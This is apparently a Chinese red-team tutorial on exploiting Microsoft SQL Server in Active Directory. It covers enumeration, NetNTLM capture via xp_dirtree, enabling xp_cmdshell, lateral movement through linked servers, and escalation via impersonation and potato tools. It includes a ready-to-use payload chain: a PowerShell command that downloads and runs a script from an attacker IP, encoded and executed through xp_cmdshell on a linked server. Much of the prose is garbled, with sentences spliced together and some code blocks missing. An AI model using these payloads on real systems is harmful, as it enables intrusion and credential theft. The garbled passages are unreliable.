Skip to main content

MSSQL的利用

MSSQL

MSSQL是一个Windows平台Microsoft SQL 服务器在 Active Directory 基础设施中很常见,不仅因为 SQL 服务器是 Web 应用程序典型关系型后端数据库管理系统服务器,而且还因为它可以与 Active Directory 和 Kerberos 认证无缝集成在渗透测试或红队活动中,Microsoft SQL 服务器可能是攻击者的主要目标,原因是通常被用于存储信息以支持无数的业务功能。除了着敏感数据泄露,并且可以为攻击者提供对组织基础设施可能外访问。当 SQL 服务器集成到 Active Directory 环境中时MSSQL也有着很大特定的攻击面,向量是导致命令执行、特权提升、横向移动,持久化能的
脚本PowerUpSQL (https://github.com/NetSPI/PowerUpSQL)可以帮助我们枚举信息并与MSSQL数据库交互。impacket中的mssqlclient.py脚本,heidisql等工具可以直接与MSSQL实例交互,相比powerupsql的好处是在执行查询语句的时候减少一层引号。
在bloodhound中寻找MSSQL实例:MATCH p=(u:User)-[:SQLAdmin]->(c:Computer) RETURN p

使根据之前的枚举,我们知道powerupsql.ps1枚举
域内户 svc_sql 是环境中 SQL 服务器实例的服务帐户,而 Srv01 是 Web01 上应用程序的后端数据库实例:get-sqlinstancedomain
本地数据库实例:get-sqlinstancelocal
数据库实例服务器。让我们了解更多关于 SQL 服务器枚举和利用的信息:get-sqlserverinfo -instance "srv-1.dev.cyberbotic.io,1433"
测试连通性:get-sqlconnectiontest -instance "srv-1.dev.cyberbotic.io,1433"
语句执行:get-sqlquery -instance "srv-1.dev.cyberbotic.io,1433" -query "select @@servername"

使用SQL语句枚举
当前登录:select user_name();
当前用户:select system_user;
所有登录:select * from master..syslogins;
当前是否是sysadmin:select is_srvrolemember('sysadmin')


NTLM捕获SQL 注入

与 SQL 服务器进行交互的一种方法是利用 SQL 注入漏洞。运行MSSQL中 Web01 上的 .NET 应用程序容易受到 SQL 注入的攻击存储过程xp_dirtree可被我们利了它并在 Srv01 上获得了立足点。

 

捕获当前主体凭证NetNTLM哈希,之后攻击

考虑到服务帐户 svc_sql 设置了 SPN,因此我们可以离线对其进行 Kerberoasting,以获取 KRB5TGS 哈希并破解哈希或它。如果 svc_sql 的密码不够强大,我们可以破解它。在我们的例子中,svc_sql 的密码(jkhnrjk123!)不在 rockyou 字典中,因此我们无法破解它以获取明文密码。然而,当试图攻击 SQL 服务器服务帐户时,我们应该考虑 Kerberoasting 攻击。

此外,我们可以使用响应中继该哈希至别的主机
在Kali上开启ntlmrelayx,在MSSQL交互中执行exec设置一个恶意 SMB 服务器,并使用 xp_dirtree '\\10.10.5.120\pwn,访问它。这样,响应者将捕获 1NetNTLMv2 , 1'哈希。原始语句如下


代码执行

xp_cmdshell

如果当前登录是 sysadmin,我们可以在 SQL 服务器上执行任意命令。有多种方法可以实现这一点,最臭名昭著的是 xp_cmdshell。它是 Microsoft SQL Server 的一部分,是一个系统存储过程xp_cmdshell可被。它允许SQL服务器上 SQL Server 中执行系统命令。该存储过程默认被禁这对于运行脚本或与操作系统交互等任务可能很有。然而幸运它也可以是一种强大内置功能来攻击目标 SQL 服务器。

要执行命令如果我们当前是sysadmin,那么可以重新启用并且执行任意命令
查看xp_cmdshell状态:select * from sys.configurations where name='xp_cmdshell';
启用xp_cmdshell:sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;
执行任意命令:EXEC应确保配置选项显示高级选项和 xp_cmdshell 'whoami';是启用的。启用它们的原始语句是:

OLE Automation Procedures

考虑到 xp_cmdshell 因被攻击者滥用而臭名昭著,它受到严格监控。因此,我们应该了解其他方法来执行系统命令。OLE 自动化是一种技术,允许应用程序将对象链接到另一个应用程序。OLE 自动化过程是 SQL Server 中的存储过程,它们提供了对 OLE 自动化对象和方法的访问。这些过程包括 sp_OACreate 和 sp_OAMethod。我们可以使用 sp_OACreate 创建一个 OLE 自动化对象的实例,并使用 sp_OAMethod 调用 OLE 自动化对象的方法。我们可以利用它们来执行系统命令。

我们应该首先通过执行以下语句启用 OLE 自动化:

 

CLR

我们还可以使用 CLR 来实现系统命令执行。CLR(公共语言运行时)是 .NET 框架提供的运行时环境,使我们能够将 .NET DLL 文件导入到 SQL 服务器并执行 DLL 中的方法。这样做的好处是我们不会将文件写入磁盘。

首先,我们应该通过执行以下语句启用 CLR 并打开 TRUSTYWORTHY 属性:

 

特权提升

 

 

横向移动

SQL服务器在 Microsoft SQL Server 存在,SQL 链接或链接服务器概念,即允许是连接到不同服务器实例上的数据库并查询其数据的能力。这在从多个数据库访问一个外部资源。MSSQL支持多种资源数据时非常有用包括其他但这些数据库位于不同MSSQL服务器上。然而它们可分布于任何地方,包括其他域、森林甚至云端。我们攻击者可以利用MSSQL链接来实现横向移动。
枚举链接
MSSQL交互中
select * from master..sysservers;
exec sp_linkedservers;

PowerUpSQL中
get-sqlserverlinkcrawl -instance 'srv-1.dev.cyberbotic.io,1433' [-username xxx -password xxx]
跨链接执行语句查询:select * from openquery("sql-1.cyberbotic.io",'select @@servername');
为了能够横向移动到链接其他 SQL 服务器,我们当然需要启用xp_cmdshell并执行任意命令跨链接启用xp_cmdshell需要rpc out开启
开启链接的rpc out:exec sp_serveroption 'srv-2', 'rpc out', 'true';

跨越我们可以使用 PowerUpSQL、SqlRecon 或原始查询来枚举 SQL 链接。使xp_cmdshell:
EXEC('sp_configure ''showPowerUpSQL,执行以下命令以检查 advancedSQL options'', 1; reconfigure;') AT [srv-2]; EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [srv-2]; EXEC ('xp_cmdshell ''whoami'';') AT [srv-2]
链接进行远程命令执行的时候,需要额外注意引号的问题,为了尽可能减轻引号的困扰,建议对命令进行编码处理
Kali上echo -en 'IEX ((new-object net.webclient).downloadstring("http://10.10.5.120/a"))' | iconv -t UTF-16LE | base64 -w 0

编码后的命令:powershell -exec bypass -nop -enc [copy here]
最终的载荷:EXEC('sp_configure ''show advanced options'', 1; reconfigure;') AT [srv-2]; EXEC('sp_configure ''xp_cmdshell'', 1; reconfigure;') AT [srv-2]; EXEC ('xp_cmdshell ''powershell -exec bypass -nop -enc <encoded payload>'';') AT [srv-2]
如果使用powerupsql进行跨链接远程命令执行,会额外多一层引号。因此在有票据、明文凭证、NTLM凭证的时候,尽可能使用mssqlclient.py、heidisql等能直接与MSSQL交互的工具


特权提升

在这里,特权提升一语双关,一是在MSSQL数据库中实现特权提升,即从当前用户提升至sysadmin权限用户或登录。二是在Windows系统中,从服务帐号提升到本地管理员甚至SYSTEM权限
MSSQL数据库中
考虑到xp_cmdshell需要sysadmin权限开启与调用,所以我们需要找到具有sysadmin权限的用户(user)或者登录(login)并以此身份访问。举个例子,sa是具有sysadmin权限的login,是实例(instance)级的。而dbo是具有sysadmin权限的user,是数据库(database)级的。

如何寻找这样的login或者user?
在Bloodhound中,我们可以查看一个用户是否是sysadmin,尤其是与MSSQL相关的服务帐号,例如svc_sql。数据库服务器的本地管理员帐号或者主机帐号(即SRV-1$或SYSTEM),往往也可能具有sysadmin权限,利于我们通过链接移动到其他链接服务器上。一些配置不当的web应用,与数据库连接的login具备sysadmin权限
此外,一些login或者user本身不具备sysadmin权限,但是可以模仿具有sysadmin权限的登陆或者用户。

模仿sa登陆:execute as login='sa'
模仿dbo用户:user msdb; execute as user='dbo';
我们还可以通过链接来提升特权。举个例子,我们在当前数据库实例中没有sysadmin特权,但是通过链接对链接服务器具有sysadmin特权,因此我们可以先移动到链接服务器。接着,在链接服务器实例上进行枚举,发现有login或者user通过链接对当前的数据库实例具有sysadmin权限,然后移动到当前数据库实例所在的服务器。

刚才我们说了在MSSQL系统内如何提升特权,接下来谈谈如何在Windows系统中提升特权。这就简单许多了,当我们通过xp_cmdshell获得shell之后,当前用户是MSSQL服务帐号,而MSSQL服务帐号默认具有SeImpersonatePrivilege特权,该特权允许服务帐号模仿令牌。我们可以利用该特权将权限提升至SYSTEM权限,可以使用工具sweetpotato(https://github.com/CCob/SweetPotato)、badpotato(https://github.com/BeichenDream/BadPotato),printspoofer(https://github.com/itm4n/PrintSpoofer)